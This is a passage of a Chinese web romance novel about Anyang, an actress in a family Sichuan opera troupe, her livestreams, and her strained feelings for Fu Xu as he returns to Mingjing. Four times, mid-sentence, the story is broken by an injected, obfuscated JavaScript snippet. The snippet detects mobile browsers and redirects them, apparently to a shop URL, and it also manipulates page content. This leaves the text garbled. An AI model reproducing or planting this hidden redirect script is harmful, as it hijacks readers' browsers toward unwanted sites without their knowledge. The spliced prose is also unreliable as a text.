安漾的笑容僵在脸上,沉默良久,她抿唇道:“我们......一直都保持距离。” 他们从开始就只是抱着各自的目的而达成的合作关系,为了家里代代传下来的剧团,为了他的外婆。 傅栩对她的好,说到底也只是为了达成最终目的而附加的赠品。是她自己误读了他的用意。 而这段关系本身也脆弱得像一片玻璃,只要他回到明京,就会随着一声刺耳的巨响四分五裂,顺带把她惊醒。 读出她的失神,孟西禾把椅子往她身边挪了挪,“你要不要跟我一起去相亲?” 安漾听得一愣,“你这就开始相亲了?” 不是还没从失恋的阴影中走出来吗? “我爸妈帮我张罗的。”她转转指根上的银戒,“说不定能借这个转移一下注意力。” “你要真的想相亲,还用得着你爸妈操心吗?”安漾抬手往她身后一指,“喏,那儿,相亲角去报个名。” 孟西禾来了兴趣,她上学那会儿就爱去那里凑热闹,把男女双方的信息放在一起给人配对,被安漾说是野生红娘。 今天周六,相亲角的人不少,孟西禾说干就干,真的拉着安漾过来了。 “我去给你拿张表?”安漾看她饶有兴趣的模样,问。 “行。”她爽快答应,伸手接过安漾的包,“去吧,我帮你拿着。” 相亲角的信息表五花八门,孟西禾倒也不是真的想靠这个找对象,当打发时间的看。 她看得认真,手机却突然响了,拿到眼前才发现是安漾的。 “傅狗”。 嘿,刚才提到的人这不就来了。 正好安漾拿着信息表回来了,把信息表塞给她,接通电话。 “在忙?” “在相亲。”孟西禾凑在旁边替她回答。 安漾剜了她一眼,把手机听筒的音量调小,背过身问:“什么事?” “你先去上相亲角了?”男人的语调拔高,她难得从他的声音里听出明显的情绪。 “我不能来吗?”她听笑了,“你要来也行啊,又没人拦你。” “算了。”傅栩捏捏眉心,把话题转到正题上,“你看微信。” 她狐疑地挂掉电话,点进微信,傅栩发给她一个视频。 一个娱乐营销号,全程用AI配音: “我也不想看啊,可是她笑起来超甜还会喷火欸~” 紧接着,视频里就出现了她上午直播喷火的切片,还特地把她喷完火之后长舒一口气偷笑的片段放大放慢。 从别人那里看到自己的视频,安漾心里生出一阵没由来的尴尬。 傅栩又发来一张截图,是这个营销号视频的数据。距离视频发布只过去了几个小时,点赞已经接近六位数。 她点开闻景的账号,不少人已经从那个营销号顺藤摸瓜到这里,粉丝量已经变成了一个她从前从未设想过的数字。 “怎么了?”孟西禾看她呆站在原地背对着自己,转到她面前问。 安漾大脑一片空白,她把手机拿给孟西禾看。 “我靠。”孟西禾震惊:“你怎么表演喷火先把自己给喷火了。” - 相亲角的程序很麻烦,孟西禾填完表送过去才得知还要交一堆别的材料,索性撂挑子走人了。 两个人一道去吃了晚饭,在路口分别。安漾看路程不远,顺路去了趟医院。 她有些日子没见着江奶奶了。 凭记忆上楼找到病房,突然想起和傅栩在这里见面的场景。 她这才意识到傅栩可能也在,正要敲门的手垂落下来,做好了心理建设才重新敲响。 来开门的不是傅栩,女人气质拔群,有着和傅栩相似的高鼻梁。 双方都愣了一下,女人先开口:“你是安漾吧?” 她点头。 “我是傅栩的妈妈。”楚仪把她迎进来,做了简单的自我介绍。 她跟人打招呼,在病床上见到了江奶奶。 江奶奶看起来比上次要瘦许多,在医院住了这么些日子,病情一直不见好。 安漾不知道具体情况,这种事也不好多问傅栩,但是从他每次提起时的神态来看,江奶奶的病情并不乐观。 “漾漾。”见到她,江奶奶艰难地挤出一个笑,“傅栩前几天说你生病了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174440|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在好了吗?” “好得差不多了。”她嗓音还是不太对劲,但除此之外也没有别的毛病了。 “闻景最近怎么样?”江奶奶还是最关心这件事。 “最近开始直播了,效果不错。”安漾想了想,补充说:“傅栩帮了我们很多。” “也谢谢你们愿意让傅栩代我尽一份力。”江奶奶说着便不住地叹息,“不知道我还有没有再回闻景的那一天。” “当然有。”她毫不犹豫地说:“大家都在等你回来。” 开门声从身后传来,安漾循着声音回头,和刚进病房的傅栩视线相撞。 没有人说话,只有床头的仪器正发出有规律的“嘀嘀”声,安漾和他对视片刻,病房里的气氛变得微妙。 她撤回目光,继续跟江奶奶汇报剧团的事。 傅栩的注意力也没有在她身上停留太久,转而开始回复手机里堆积的信息。 久病的老人精神总是时好时坏,安漾陪着江奶奶聊了一会儿,见她困了便要离开。 “傅栩你去送送。” 和第一次见面那晚一样,只是说这话的从江奶奶变成了楚仪。 “不用了阿姨。”安漾这一次选择拒绝,“我一会儿还有事情,不直接回家,我俩不顺路。” “我也不回家。”傅栩已经站在门口,手扶在门把上,说:“我送你下楼。” 安漾被堵得没话了,道别后跟着他出去。 时间不早了,住院部的走廊里很安静,她走在傅栩身后,跟他保持距离。 可前面的人突然停下脚步,转过来面朝着她。 安漾不解,也跟着停下。 走廊里惨白的灯光从头顶翻泼下来,傅栩的五官被修饰得凌厉逼人。 “安漾。”他的语气却是温柔的,“你在躲我。” “从你去接机回来那天开始,你就一直在躲我。” “我为什么要躲你?”她被拆穿,只能扯出一个假笑维持体面,“我只是觉得非工作时间没有见面的必要。” “就......保持单纯的合作关系。” 傅栩似笑非笑,“我们之前的关系不单纯吗?” 她被问住,愤愤地走到电梯口,按下下行键。 心里已经恨不得咬掉自己的舌头,她为什么要说这种此地无银三百两的话。 “出于单纯的合作关系,”他跟上来,把“合作关系”这几个字咬得极重,“我想问你,什么时候恢复演出。” “病好了就去,多谢关心。”她盯着紧闭的电梯门。 “那今天相亲怎么样?” “这已经超出合作关系该回答的范围了。” 电梯上到六楼,她走进去,正要关门,又被傅栩重新把门按开。 “那就以傅栩的身份问你。”他也进到电梯里,“有遇到满意的相亲对象吗?” “遇到了一定告诉你。” 狭窄的空间里被他的笑声盈满,他说:“你遇不到的。” 她没有反驳,静静等待电梯到达,一路走到医院门口拦车。 出租车驶来时,傅栩问她:“你真的去相亲角贴信息表了?” “嗯。”安漾重重关上车门,“不光贴了,我还印成传单发。” 说罢,出租车扬长而去。 傅栩在路边站了一会儿,打车去公园。 15.第十五章 安漾彻底病愈是在几天之后,景城的气温已经彻底降下来了。 这段日子里,得益于几个营销号搬运的直播切片,直播间的数据明显比之前好了许多。 只是弹幕上常常有人问起她: 【上次喷火的主播什么时候上台?】 一开始她还在旁边耐心解释:“等病好了就可以上了。” 后来问的人越来越多,她干脆直接在直播间的右上角注明了。 不过也因为常和直播间的观众互动,她每次开播时的心态也有所改善。 和剧团的演员商量过后,安漾病愈后的第一场直播决定演《芙蓉花仙》。 其实她自己还没有完全做好心理准备。 她知道直播间新来的观众大多都是冲着喷火那个视频来的,前些日子病没好全的时候,她也会在演出之后给大家再现一下。 只是现在要演传统剧目了,安漾始终担心观众会有落差感。有时候越想越紧张,几年前那阵干呕声就又从记忆深处冒出来了。 明天就是直播,安漾在今晚的演出结束后做了预告,正在和剧团里的其他演员一起排练。 一轮排练过后,安漾下台喝水休息。 她坐在观众席上,撑着额头长长地叹了口气。 她的嗓子恢复得不错,基本功也相当扎实,但一想到明天要直播,总是止不住的紧张。 她不知道傅栩是什么时候来的,但在安漾抬起头的时候,他已经站在自己面前了。 她恍了一下神,还未开口,傅栩先抽出她旁边的椅子坐下了。 “你没有在相亲角贴信息表吧?” 一来就问这个,安漾有点懵。她那天就是随口一提,哪想得到傅栩是真的相信了。 不光信了,还在她离开之后去相亲角找了一大圈,想把她的信息表撕下来带走。 “贴了。”她一边说着,一边拿着杯子喝了口水,掩饰自己不自然的表情。 “我怎么没看见?” “你又没有去公园,你怎么知道我没贴。”她的声音瓮在杯子里,闷闷的。 “我去了。”傅栩停顿一下,故作轻松道:“我觉得你给我的建议很不错,也想去填信息表。” 咳咳咳—— 她被呛到,瞄了他一眼,假装不经意地问:“那玄兔呢?” 问完就后悔了。她最近正因为这事心烦,干嘛又提出来给自己找不痛快。 他扯唇露出一个意味不明的笑,安静了一会儿,转而道:“你彩排得怎么样了?” 安漾当然能看出来他在故意转移话题,但她还是顺着说下去:“排练倒是没什么问题了,只是希望明天不要怯场。” 她坐的这把椅子很高,脚尖一下一下地轻点地面,“我怕我一站上去,又听见有人干呕。” 安漾有些无奈地趴在前排的椅背上,把头埋进臂弯里。 “来直播间的人都很喜欢你。”傅栩的声音淡淡的,但是带着某种让人信服的力量,“就算他们本身对川剧不怎么感兴趣,也会因为你看下去的。” 她眼眶有点酸酸的,压在手臂上久久没有抬起来。 “就像那天你喷火一样,可能大多数人以前都看过这个表演,觉得没什么新奇的,但是因为是你,所以愿意停下来再看一遍。” 台上的乐队敲响堂鼓,鼓声在剧场里回荡。 傅栩看着趴在身边的女孩,说:“安漾,你值得被所有人喜欢。” 她终于转过头看他。 这些天他们几乎每天都见面,只是鲜少有机会独处,两人都默契地维持着这微妙的距离感,安漾总是有意逃避他的目光。 这一刻,她才真的仔细看他。他比起之前清瘦了很多,也许是因为医院剧团两头跑的日子让他疲惫。 “傅栩,谢谢你。” “所以你什么时候刮刮乐能中奖,给我发工资?”他打趣。 说完两人都笑了,乐队奏响锣鼓,安漾突然自私地希望时间停留在这里。 没有玄兔,没有乱七八糟的情绪,在闻景拥挤的观众席,只有他们。 “傅栩。”她说:“那首歌很好听。” - 第二天的直播如期开始。 安漾在次之前已经积累起了一定的人气,因而今天的首次演出热度颇高。 她还是免不了的紧张,在后台走来走去不断踱步,一会儿整理戏服,一会儿有觉得妆没画好。 “你别紧张吐了。”孟西禾也来了,刚到后台就看见她在那儿转来转去。 “我就是担心会出岔子。”她嘟囔着:“万一上台之后出问题了怎么办?” “出问题了再说呗,你现在担心也没用。”孟西禾拍拍她的手背安抚,又一指化妆间的门口,“喏,我给你送了两个花篮。” 花篮刚被搬进来,上面还写着几句祝福语。 “我再也不骂你恋爱脑了。”安漾的注意力被转移,想走近去看看上面写了什么,却看到站在门口的傅栩。 他刚来,被刘叔拉着聊天。只和她远远地对视一眼,余下再没有别的动作。 “你看什么?”见她突然不说话了,孟西禾问。 “看你送我的花。太感动了,我要多看几眼。” 孟西禾听得开心,一拂头发,“没事,既然你这么喜欢,我再给你送几个也没问题。” “而且傅狗......他在你后面。” 刚还春风得意的孟西禾一瞬间垮脸:合着后面这句话才是重点呗。 “欸安漾——”她扯开嗓子,“上次相亲的那个男的,你觉得怎么样?身高一米九肩宽腰窄八块腹肌,家里五套房那个。” 安漾忙不丁捂住她的嘴,“你要不治治脑子?” “我是想帮你试试他的态度嘛。”孟西禾扯开她的手,“有时候吧,男人就需要你逼他一把。” “求你了祖宗,闭嘴吧。” 孟西禾和她闹了一阵,安漾就该上台了。 唱词和走位已经烂熟于心,安漾竭力忽略台下的手机,开始表演。 她的嗓音条件很优越,清润婉转。傅栩从直播的手机屏幕里看她,一举一动他都记得很清楚。 十八岁在闻景见过安漾以后,他把《芙蓉花仙》单独找出来看了很多遍。这些年安漾的样子一点也没改变,水袖翩翩,笑时嘴角漾起浅浅的梨涡。 她在台上就能看见傅栩,他眼神里带着难以言说的情绪。 安漾总觉得这个场景似曾相识。 她好像曾经也在闻景演过《芙蓉花仙》,抬头往台下看时,傅栩就是现在的模样。 但她没有在这上面分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183405|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神太久。台下还有闻景的老观众,还有隔着屏幕的陌生人,她只能暂且把这归于梦里的画面: 也许是最近总是为演出紧张,所以梦到过类似的场景吧。 安漾这样告诉自己,一直到演出结束。 “你猜我刚才在这里看到谁了?”刚下台,孟西禾就一脸神秘地凑上来。 “谁?” “傅栩。”孟西禾挽着她的胳膊,“你现在这么火吗?傅栩都来看你演出。” 安漾皱眉,“你认识傅栩?” “我以前在明京给艺人做宣发,跟华悦合作过。”孟西禾递给她水杯,“谁能不认识他啊,人华悦自己的员工都说,华悦大楼一块砖一袋水泥的钱都是他赚来的。” 所以打水泥是这个意思? “你有在听我说话吗?”孟西禾看出她走神了,轻轻撞她一下。 “有没有可能,”安漾咽了咽口水,“傅栩就是傅狗。” 孟西禾一怔,然后抓紧她的胳膊,“所以他的白月光是苏果吗?” 啊?安漾懵了。 她知道苏果这个人,每次出新歌必定霸榜各大音乐平台的实力派歌手。 “我们公司跟华悦一直有合作,但是傅栩一直很少露面的。就只有给苏果做宣发那次,他亲自到场了。我听说他俩好像大学就认识了。” 大学? 安漾忍不住又想起玄兔。 从傅栩现在的年龄开始倒推,推到《玄兔》发布的那一年,那么和他大学就相识的苏果的确有可能就是玄兔。 身边的孟西禾还在和她分享自己这些年吃过的惊天大瓜,她只不走心地应和几声。 她的思绪越飘越远,什么也没听进去。 直到晚些时候,孟西禾先行离开了。安漾换掉一身戏服,卸了妆准备回家。 打开化妆间的门,她看见傅栩正在后院打电话。 天空的一角挂着一轮弯月,月光带着丝丝缕缕的寒意。傅栩整个人都沐在月光里,看起来无比渺远。 “我知道。”他的声音里充满耐心,“我会尽快解决。” 这样的声音,昨晚也在对她说“你值得被所有人喜欢”。 她也不知道电话那头是谁,但哪怕再迟钝的人也能读出他语气里的柔情。 安漾抿唇,犹豫自己是否应该假装没有看见他,直接回去。 还没思考出结果,他转过身,和安漾对视。 她偷听被抓了个正着,面上一窘,想要离开。 “安漾。”傅栩叫住她。 她想远离,但脚步就像被定住了一般。 她刚刚卸完妆洗过脸,现在风吹在脸上像是在被刀刮,又冷又疼。 安漾不可否认的是,她的确有话想问他。想问玄兔,想问苏果,想问他对自己到底是什么态度。 但她没有勇气去敲碎横亘在两人之间的这块玻璃。 两个不同立场的小人在心里打架,她就这样站在原地,直到傅栩朝她缓步走来。 她心一横,决定向他问清楚。 但在她开口之前,傅栩先说话了。 他的皮肤原本就白,又浸在惨白的月光里,看上去更加没有温度。 安漾平白感觉到冷,裹紧了身上的大衣。 “安漾。”他说:“我要回明京了。” 16.第十六章 “我要回明京了。” 后院里只有他们两个人,前院嘈杂的谈话声衬得这里更加空寂。 安漾茫然地眨眨眼睛。湿冷的空气似乎把她的神经给冻得麻木了,她迟迟没有做出反应,只盯着他看了许久。 风还在刮,落在脸上冷飕飕的,又从衣领钻进脖子里,她整个人都僵在原地。 全身上下的血液都凝固了,她的手也没什么知觉,木木地缩回大衣口袋里,汲取本就不多的温暖。 直到手上慢慢回温,她才大梦初醒般,挤出一个在台上才会用到的假笑。 唇形拉扯,像是什么诡异的木偶戏,“好啊,要我送送你吗?” 傅栩望进她的眼睛,压下心里翻涌的情绪,把原本想说的话又咽回去了。 良久,他问:“你很希望我走吗?” 安漾不作声,她转过去,下意识揉揉自己笑得发酸的面颊,想起那天上午在傅栩家,半梦半醒间,她感觉有一只手覆在自己侧脸上。 她想睁眼,却闻到很熟悉的薄荷味。所以干脆继续装睡,无论傅栩是否有注意到她颤动的睫毛。 他常年弹吉他的指腹有一层薄茧,触到脸上痒丝丝的。 但这记忆在这一刻钻出来,侵占她的思绪,挠得她想哭。 “不管我希不希望,你总归是要走的。” 话一出口,安漾心里的酸沉就又浮起来了。她的声音轻轻的,怕话里的颤抖随着音量被一起放大。 她想离开,刚走出几步,又听见他在身后说:“如果你明天有空的话,送送我吧。” “一定。” 她拐了个弯,直接离开剧团。 这晚安漾一个人回家,虽然身体已经痊愈了,但任姿还是没把车钥匙还她。 天气太冷,在河边散步的人也少了很多。她心里不痛快,在路上慢吞吞地走。 “是你。”路过长椅旁,有人突然出声。 安漾正出神,突然被人唤回来,还有点愣愣的,顺着声音看过去,是那晚和傅栩经过这里时,在河边卖唱的年轻歌手。 她花了些时间才想起这号人,也惊讶于他还记得自己。 今晚没什么人听他唱歌,他正抱着一把吉他,独自坐在长椅上。 “又见面了,方才你一直没反应,我还以为认错了。”他的脸红彤彤的,不知道是出于兴奋还是被风吹的。 安漾礼貌地朝他笑笑,她现在没有心思和人闲聊,只想快点回家,洗个热水澡躺在软乎乎的被子里睡上一觉,把一切都抛之脑后。 “等一下。”他叫住她。 “上次你点的那首歌,我回去之后听过了。”他说。 安漾脚步一顿,却也没有回头,问他:“好听吗?” “好听!我还学会了。”他的声音里带着藏不住的欣喜,说完才意识到安漾的情绪不佳,于是背着吉他小跑到她身边,“你还想听吗?我可以免费给你唱。” “不用了。”她吸吸鼻子,有点想哭,“我现在不喜欢那首歌了。” - 傅栩是临时决定要回明京的。 他是苏果新专辑的制作人,工作进行到了录音环节,他原本指派了其他人负责,但苏果听说他不回来,死活不肯进棚。 上次在他家,安漾听见的那通电话就是为了这事。 第二天上午的航班,安漾早起陪他去机场。 两个人坐在后排,她一上车就缩到一侧车门边,挪眼去看两人之间的距离,只恨不能隔出一条银河。 窗外的景物随着车速的提升被撕扯变形,车里的暖气很足,安漾开始犯困。 她昨晚失眠了,在床上翻来覆去睡不着,最后还是翻出《玄兔》,循环了一整晚。 真没出息。 “安漾。” 眼皮即将阖上的时候,傅栩把她叫醒。 “嗯?”她触电一般抖了一下,睁开眼。 傅栩瞥见她迷离的双眼,“算了,你睡吧。” 安漾揉了揉眼睛,等脑子清醒了点才微微侧过身,“你说吧。” 傅栩轻咳一声,“闻景之后有什么需要,你都可以随时联系我。” “谢谢你。”她淡淡道:“你已经帮了我们很多了。” “应该的。” 客套,礼貌,像第一次见面那样。 安漾想,也许她最大的错误,是在那晚同意载他回家。 他们的关系应该在病房里就划下句号,傅栩只是江奶奶的外孙,安漾只是外婆剧团里的演员。 仅此而已。 “以后回来记得告诉我。”她说:“我请你吃饭。” 他只笑笑,没有说好,也没说不好。 车停在航站楼外,安漾跟着傅栩下车,看他从尾箱里取出行李箱,“你只带这一个箱子回去吗?” 她记得上次在他房间里看到很多设备,这么一个箱子真的能装得下吗? 傅栩有点不明白她的意思,但还是点头。 “别再生病了。”他说。 “知道了。”安漾垂下眼睛去看航站楼里的地板。 “我要走了,你不看看我吗?”傅栩的声音里带着笑意,揶揄道:“还是地板比较好看?” 她意义不明地“嗯”了一声,如他所说的那样抬眼看他,“傅栩,这段时间认识你......我很开心。” 傅栩一只手抓紧行李箱的拉杆,回得漫不经心,“嗯,我也是。” 机场里人来人往,两人静默了片刻,他抬手扫了一眼腕表,“我得走了。” “再见。”安漾说。 他弯了弯唇角,没有说话,拖着箱子走了。 安漾站在原地,等到他的身影在视野中消失,转身离开。 走出航站楼,凉意扑面而来。她拍拍自己的脸,在心里告诉自己结束了。 但手机铃响,她收到傅栩的信息。 F:【新的。】 上次在剧团,她说傅栩写给她的那首歌不好听,他就又写了新的给她。 安漾看着刚发来的音频文件,心里泛酸。她握着手机犹豫了一会儿,然后长按文件,点击删除。 聊天界面上少了一截,她重新发信息填上。 小羊:【起落平安。】 傅栩没有回复。 她松了口气。如果傅栩回她,她也不知道怎么结束对话才好。 这样正好,从这一刻开始,她可以把有关傅栩的一切都画上句号。 下午还有一场直播,安漾不演,但要去守着直播间。 她从机场直接到闻景,饭都没来得及吃,跑到化妆间去做准备。 见她来了,任姿把刚叮好的饭菜端出来,“慢慢吃,不着急。” 她说好。 任姿问:“你去送小傅了?” “对。”安漾点头,一不留神被鱼刺卡了喉咙,蹙眉去拿水。 “让你慢点吃。”任姿看她表情也猜到了,把水杯递给她,又问:“那他有没有说什么时候回来?” “应该不回来了吧。”她灌了几口水下去,可鱼刺还卡着,一吞咽就隐隐的发痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192274|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你之后直播打算怎么办?团里都是些老年人,不会捣鼓这些。” 只有她在上面直播是不够的,还要有人关注直播间里的情况,维持秩序。 安漾的眼睛在化妆间里扫了一圈。闻景的演员年纪都很大了,有的用智能手机都费劲,显然无法胜任这份工作。 “我再想想办法。”她宽慰任姿。 但她想来想去,只找到一个合适的人选。 翌日,安漾去了孟西禾家。 孟西禾刚回家那会儿,爸妈把她当个宝似的捧着,日子一久就开始看她不顺眼了。 她受不了家里爸妈在耳边叨叨,一个人搬出来住。 安漾被领进屋,看见几口纸箱扔在正中,孟西禾大手一挥,“随便坐。” “坐......哪儿?” 她环视这个不大的客厅,沙发上扔着她刚取出来的衣服,椅子上放着各种日用品。 孟西禾尴尬地挠挠头,上前把衣服挪到一边,“坐吧。” “你最近在找工作吗?”安漾坐下,一边问一边帮她叠衣服。 “没,想再休息一段时间。”孟西禾倒了杯热水给她,“怎么了?” 安漾不跟她拐弯抹角,“剧团最近在直播,缺个助播。” “不是傅栩在做吗?”孟西禾一屁股坐在地上,安漾担心她天冷受凉,往旁边挪了挪,让她坐过来。 “他回明京了,上午刚走。” “那你们......” 孟西禾盘腿坐在她旁边,一只胳膊搭上安漾的肩膀,“你们还有联系吗?” “没。”她摇头,昨天从机场回来之后,她把傅栩的消息设置成了免打扰。 虽然时不时想去看看,但安漾还是忍住了。 “欸,安漾。”孟西禾一本正经,“我好像从来没有问过你。” “你喜欢傅栩吗?” “我不知道。”她没有打马虎眼。 在傅栩房间的那个晚上,被他从身后圈住的那一刻,她确实心动过。 但在知道他是写下《玄兔》的F之后,那种心动很快就变成了心梗。 她当时的第一反应是觉得真情实感喜欢《玄兔》的自己变成了傅栩和他那白月光play的一环。 之后才后知后觉地感到难过。但那难过是因为什么,她说不上来。 她嘴上说不知道,可孟西禾还是读出了眼底的落寞,她打开手机,“我帮你问问,怎么突然就要回明京了?” 她刚做了个延长甲,指甲敲在屏幕上格外响。 安漾突然觉得不对。 她不是来问孟西禾助播的事吗,为什么又扯到傅栩身上了? 她刚想把话题拉回来,但孟西禾“哼”了一声,“我就知道。” 安漾诧异地看着她。 “我刚才问我以前的同事,华悦最近是不是有新动作。” “结果你猜怎么着?”孟西禾把自己的手机塞到安漾手里,“苏果要出新专了,制作人是傅栩。” 安漾草草地瞄一眼屏幕,伸手去够桌上的杯子。 端起杯子时,热气氲上双眼,她感觉身体里像是绑了一块巨石,正拖着心脏一下一下地坠。 她把手机还给孟西禾,有一个声音在某处叫嚣,音量越来越大,直至充斥她整个脑海。 她要找到傅栩,把这一切都问清楚。 她翻找到傅栩的聊天框,最后一条信息是在昨天上午,她说的那句【起落平安。】 那之后,傅栩没有再给她发过任何一条信息。 17.第十七章 安漾看着昨天发出的消息和毫无回应的聊天界面,像是被浇了盆凉水,刚才的冲动一瞬间烟消云散。 她打字的手垂在半空犹豫了片刻,删删改改之后还是发去信息。 小羊:【我有话想问你。】 孟西禾这边刚跟同事打听完消息,和人道了谢之后把头一抬,看见安漾半个身子扭到一边,背对着她。 “干嘛呢?”她往安漾那边挤挤。 安漾摇摇头,在把身体转回来之前,长按撤回了这条信息。 但孟西禾还是看出了她的不开心,心下马上猜出是为了傅栩和苏果的事。 “既然人都走了,那咱们就当不认识他好了。”她一把揽过安漾的肩膀,义愤填膺道:“都跟苏果有一腿了还向你示好,这种男的能是什么好东西?渣男一个,走了正好。” “也不能这么说。”安漾觉得这话有点太过了,“毕竟闻景现在直播能走上正轨,也少不了他一份力。要是没有他,我现在估计已经被我妈拖去省剧团面试了。” 孟西禾非常不屑地“切”了一句,脸上写满了恨铁不成钢,“你还帮他说话?” “我是实话实说......”她声音越来越小。 “安漾。”孟西禾双手抓住她的肩膀使劲晃悠,“咱俩到底谁才是恋爱脑啊?你能不能给我清醒一点!” “你别晃了。”安漾抓住她的手腕。 “我今天就要把你脑浆摇匀。”她嘴上是这么说,却还是停下来了,长叹一口气,“我以后也去闻景帮你,你能像护着傅栩一样护着我吗?” 安漾有被无语到:“如果你不是孟西禾,在你把分手原因归结到地铁四号线的时候,我就已经把你骂得亲妈都不认识了。” 孟西禾嘿嘿一笑,“我呢,以后就指望着小羊主播养我了。” 第二天下午,孟西禾正式上岗。 安漾会找她来做助播,一方面是考虑到她目前比较空闲,另一方面是因为她在明京的工作常会跟人打交道,口条和应变能力都很好,可以尽快习惯助播的工作节奏。 也正如安漾预想的那样,孟西禾适应得非常快,开播几分钟就跟观众聊上了,又很会调动气氛,遇到有观众刷礼物的场合,她的谢礼词一套一套地往外蹦。 安漾在旁边看了一会儿,见她已经上道了,也就放心把直播间交给她,自己去后台化妆。 “你手机刚刚响了。”正在整理头冠的张姨提醒她。 她今天一到剧团就把包扔在化妆间,去剧场和孟西禾讲解工作内容,手机没带在身上。 “好,谢谢张姨。” 安漾没有马上去拿手机,她看了一眼墙上的挂钟,时间不早了,于是加快化妆的速度,赶在开演前五分钟到达后台。 候场的时候,她才想起那通未接来电。但她觉得对方既然没有在化妆的时候再打来,想必也不是什么要紧事,下台之后再回拨也来得及。 她今天演《焚香记》,经典的“痴心女子负心郎”的故事。下午来时孟西禾看到剧目,直呼应景。安漾想想戏里那个挨千刀的王魁,想说傅栩罪不至此。 转念一想,也许孟西禾说的是于万苼呢。 现在她穿着女主角焦桂英的戏服上场,孟西禾在下面第一个欢呼鼓掌,引得现场的观众纷纷回头。 安漾在心里为今天的演出捏了把汗,好在自己这位朋友没再搞出什么幺蛾子。 最后一幕,她扮演的焦桂英在海神庙中自缢而亡,死后的鬼魂带领鬼差来找王魁追魂索命。 暴虐渣男的戏码获得观众一片叫好,她鞠躬下台,连戏服和头冠都还没顾得上换下,绕到观众席后排,去看直播间的反馈。 《焚香记》原本有两个版本的结局,一个是焦桂英含恨而死,王魁守着荣华富贵,在悔恨和痛苦中过完余生;另一个就是今天演的这一版,女鬼暴揍渣男。 为了迎合观众的爽点,她在排练时特地选了这个结局。 事实证明,她的选择是正确的,直播间里的弹幕此时正热闹: 【舒服了。】 【渣男不得好死。】 【看直播能遇到小羊这种女鬼吗?】 ...... “这位朋友我支持你。”孟西禾在茫茫弹幕中一眼觅得知音,“渣男不得好死。” 安漾无奈地看看她,然后继续查看其他的弹幕。 突然,屏幕上被蓝色的海水覆盖,熟悉的潜水艇缓缓驶入,最后停在屏幕中间。 “谢谢这位观众送出的潜水艇。”孟西禾比她先反应过来,“老板大气!” 一艘潜水艇送出后,这位观众飞速跃升到了礼物榜的榜首。 安漾点开他的头像,ID随之显示出来。 栩师傅。 这网名起了和没起有什么区别?一眼就能认出来。 她一怔,点开主页确认IP地址,果然在明京。 “傅栩?”孟西禾也意识到了,压低了声音问她。 “可能是吧。”她说着,拉了一下孟西禾的袖子,“我先去化妆间换个衣服。” 她快步回到化妆间,找到被自己冷落已久的手机。 摁亮后,锁屏上显示着一条未接来电。 【傅狗】 还有一条几分钟前的信息。 F:【撤回了什么?】 她没有直接回答他,问:【是你送的礼物吗?】 他倒承认得很爽快:【是。】 果然。 安漾在脑海中回忆一艘潜水艇的收益,再加上平台抽成的那部分,忍不住倒吸一口凉气。 有点肉痛。 但她还是按原价转账给他:【你看看就好,不用给我送礼物。】 傅栩直接退回,又问一遍:【你撤回的那条消息,发了什么?】 已经过去一天了,安漾也没了当时那种脑子一热的冲动,她在心里思索着一个合适的理由,想搪塞过去。 小羊:【我只是问问你到明京了没。】 F:【哦,关心我。】 【关心我为什么要撤回?】 她没忍住翻白眼,这人真会顺杆子往上爬。 小羊:【不想打扰你。】 那边安静了一会儿,回:【是你的话就不算打扰。】 这句话兀地跃入眼帘,她心跳如擂鼓,连呼吸都忘了。 傅栩耐心和她解释,说下飞机之后手机没电了,一到明京就进了棚,连熬两个通宵,现在才有时间休息一会儿。 他这样告诉安漾,确实是有卖惨的心思在的。 但安漾一看见“进棚”两个字,马上自动联想到了苏果。 她没get到傅栩卖的惨,反而光速下头。 他把她当什么了,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197362|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么总是说些让人浮想联翩的话? 安漾没有理会他的解释,退出微信,把钱赚到了傅栩的支付宝。 - 这天下班后,她陪孟西禾走了一站地铁的路,只为避开四号线。 “我得买辆车。”孟西禾喘口气,咬牙切齿道:“不然迟早累死。” “你还是先治治你的四号线ptsd吧。”她挥手跟人道别。 